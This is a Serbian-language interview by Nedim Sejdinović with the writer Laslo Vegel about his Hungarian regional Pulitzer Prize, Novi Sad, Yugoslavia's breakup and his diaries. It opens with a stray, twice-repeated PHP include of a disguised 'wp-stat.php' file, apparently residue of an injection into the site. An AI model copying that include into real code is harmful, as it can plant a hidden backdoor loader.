@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); KNJIŽEVNIK LASLO VEGEL, DOBITNIK REGIONALNE PULICEROVE NAGRADE: Nema više autoriteta države, čovek je osuđen na slobodu – Nedim Sejdinović

KNJIŽEVNIK LASLO VEGEL, DOBITNIK REGIONALNE PULICEROVE NAGRADE: Nema više autoriteta države, čovek je osuđen na slobodu

Prošlogodišnji dobitnik Februarske nagrade grada Novog Sada, književnik Laslo Vegel sa teškoćom nabraja sva priznanja koja je za svoj rad dobio u susednoj Mađarskoj. Ostvario se u praksi njegov prezir prema granicama, te njegovo delo i intelektualni angažman, i ovde i preko, ima ko da pročita, sasluša i vrednuje. Doduše, više preko nego ovde!

Prošle sedmice Vegel je dobio najprestižnije i najzvučnije priznanje u Mađarskoj – regionalnu Pulicerovu nagradu, koja se dodeljuje za ukupan javni angažman sa akcentom na određeno delo. Naglašen je njegov dnevnik “Ispisivanje vremena, u međuvremenu”, koji je prošle godine, skoro istovremeno, objavljen u Beogradu i Budimpešti. U dnevniku, Vegel, istovremeno publicistički i književnički intimno, ispisuje vreme u predvečerje petoktobarskih promena i period velike nade koje je posle Miloševićevog pada usledio. Inače, Pulicerova nagrada se u Mađarskoj dodeljuje od 1988. godine, a osnivač te nagrade je jedan američki bankar, blizak prijatelj slavnog Jozefa Pulicera (Pulicer je inače rođen u Mađarskoj, 1847. godine). Dodeljuje se samo u SAD i susednoj nam državi.

– Stvarno sam se iznenadio kada mi je saopšteno da sam ovogodišnji laureat, pogotovo zbog zvučnih imena mojih prethodnika – kaže Vegel na početku razgovora za “Građanski list”.

USPONI I PADOVI

Vegel danas, nezavisno od nagrade, pripada samom vrhu mađarske intelektualne elite. Dugo je prisutan u kulturnom i društvenom životu “matične zemlje”, međutim to prisustvo imalo je svoje uspone i padove.

– Nisam uvek bio cenjen u Mađarskoj. Naprotiv. Krajem sedamdesetih i tokom osamdesetih bio sam blizak mađarskoj demokratskoj opoziciji. Kao i Oto Tolnai. To je bio razlog zbog kojih smo ja i on dugo godina tamo bili zabranjeni autori. Kada je srušen komunistički sistem i nekadašnja opozicija došla na vlast, situacija se prilično izmenila, takoreći obrnula – kaže Vegel.

U međuvremenu ste dobili skoro sve značajnije mađarske književne i publicističke nagrade. Verovatno ste svih ovih godina imali mnogo prilika da se – nažalost, poput mnogih vaših sunarodnika – preselite u Budimpeštu, i tamo lagodnije i bezbrižnije živite i stvarate. Ipak, uvek se vratite Novom Sadu.

– Da, početkom devedesetih sam imao pozive da se preselim u Budimpeštu, ali sam ih odbio. Potom su usledili pozivi od prijatelja, uplašenih zbog ratnih doboša koji su ovde uveliko udarali. Dan pre nego što je doneta uredba kojom je vojnim obveznicima zabranjeno napuštanje zemlje, zvao me je Đerđ Konrad. Mada je znao da će ta uredba biti doneta, preko telefona nije hteo da mi kaže o čemu se radi, već me je zvao da se šetamo po Budimpešti, po obali Dunava i razgovaramo o književnosti. Međutim, ja sam mu se, iako sam znao da će ta uredba biti doneta, zahvalio na pozivu. Pre NATO bombardovanja, opet, zvao me je književnik Ištvan Erši… Jednostavno sam morao, pogotovo u najkritičnijim trenucima, da ostanem u Novom Sadu, ne samo da delim sudbinu ovdašnjih ljudi već i da aktivno učestvujem u društvenom životu, kao recimo 2000. godine, kada sam bio deo velikog pokreta koje je reklo veliko NE.

LOKALPATRIPOTA BEZ DOMOVINE

Često ističete svoju privrženost Novom Sadu. To je verovatno bio važan momenat u vašoj odluci da ostanete…

– Moj veliki uzor u mađarskoj književnosti, Šandor Marai, rođen je u Košicama (Slovačka). Posle Trijanonskog sporazuma preselio se u Budimpeštu, ali nikada je nije doživljavao kao svoj grad. Uvek je govorio da se u Budimpešti oseća kao stranac, jer sa sobom nosi jedan drugi svet. On je takođe govorio da književnik ima samo jednu domovinu – svoj jezik. Slažem se da je najvažnija domovina književnika njegov jezik: mađarski jezik jeste moja domovina, jer ja pišem i maštam na njemu. Ali, sa druge strane, imam jedan grad u kojem živim od svoje mladosti, gde sam se socijalizovao, gde sam doživeo svoje prve uspehe i neuspehe… Vezan sam za taj grad i zato često kažem da sam lokalpatriota bez domovine.

Šandor Marai je bio svedok i ispisnik raspada Austrougarske monarhije, a vi ste bili svedok i ispisnik raspada SFRJ. Da li ste SFRJ doživljavali kao svoju domovinu?

– Da. Izgubio sam domovinu onda kada se Jugoslavija raspala. Nije to stvar politike i ne želim sada da govorim o tome da li je morala da se raspadne ili je možda imala priliku. U toj zemlji sam izrastao, i kulturno, i socijalno, i u svakom drugom smislu, u tom jednom složenom svetu gde je bilo mnogo konflikata i nesporazuma. To je bila moja domovina!

Što se tiče Maraija, da, njegovi romani govore o raspadu velike države, o tome kako je ceo jedan region ostao bez domovine. To je jedno veoma važno pitanje, ali time ne želim da omalovažim istorijsku tendenciju stvaranja nacionalnih država u tom periodu, kada su mnoge nacije osetile da su dobili svoju nacionalnu slobodu. Istorija je surova, ona proizvodi surove kontradikcije, a književnost je ta koja tu surovost vidi u jednoj jedinstvenoj slici. Muzilov «čovek bez svojstava» je takođe produkt tog vremena, čovek koji oseća da se domovina raspala.

DRŽAVA IZGUBILA MITSKE ELEMENTE

Da li mi prisustvujemo vremenu kada se sam pojam države/domovine raspada?

– Mi u Srbiji to još uvek ne osećamo, ali kada odete u svet, jasno vam je da domovina više nije ona stara, da se na neki način nevidljivo proširila i promenila značenje. U Švajcarskoj ljudi granicu prelaze u kupaćim kostimima, i to je najnormalnija stvar na svetu. Država je izgubila svoje mitske elemente i sve što uz državu ide – i patriotizam i nacionalni ponos. Država je sada jedna kultura, kultura različitosti, svest o različitosti. Kada ta svest dopre i do naših prostora, neki ljudi će osetiti prazninu i bol, a drugi će – nadamo se, mnogo brojniji – to doživeti kao bogatstvo, bogatstvo razlika, i izazov. Nema više autoriteta države, države-roditelja, čovek je osuđen na slobodu, na lutanje, na suočavanje sa nepoznatim, novim svetovima.

To možda sada deluje kao mašta, ali nije u pitanju mašta. Za nekoliko godina ovo što ja sada govorim delovaće kao banalna činjenica.

Nekako se poklopilo da vam Pulicerova nagrada bude dodeljena na dvogodišnjicu smrti Zorana Đinđića. Kako protekle dve godine izgledaju iz vašeg književnog, dnevničkog ugla?

– Mogao bih da počnem da govorim šekspirovskim jezikom – sve dok se stvari oko leša ne očiste, dok se sa lešom ne suočimo, do tada će ovom zemljom vladati nečista savest i nemirni snovi. Plašim se međutim da ova moja, pa ni naredna generacija neće imati snage da se suoče sa sobom, istinom i prošlošću. To će, mislim, učiniti oni koji danas tek sazrevaju, koji imaju između deset i 20 godina. Oni će nas jednoga dana zbog našeg konstantnog ubijanja budućnosti, kao u bibliji, osuditi. I mrtvi će se tada protresti.

MARLJIV DNEVNIKOPISAC

– Ja sam marljiv dnevnikopisac, redovno beležim događaje još od sedamdesetih godina. Većinu dnevničkih beleški međutim nisam objavio, i to ne zbog nekih mističnih razloga, već zbog principa kojeg se držim, da stvari koje odmah ne objavim ostavim da sazreju par decenija. Početkom devedesetih objavio sam dnevnik pod imenom «Vitgenštajnov razboj», koji je smešten u period početaka sukoba i ratova u SFRJ. «Ispisivanje vremena, u međuvremenu» takođe prati jedan veoma zanimljiv period u ovoj državi – demonstracije, pad Miloševića i vreme velikih iščekivanja koje je potom usledilo i brzo se isušilo – kaže Vegel.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.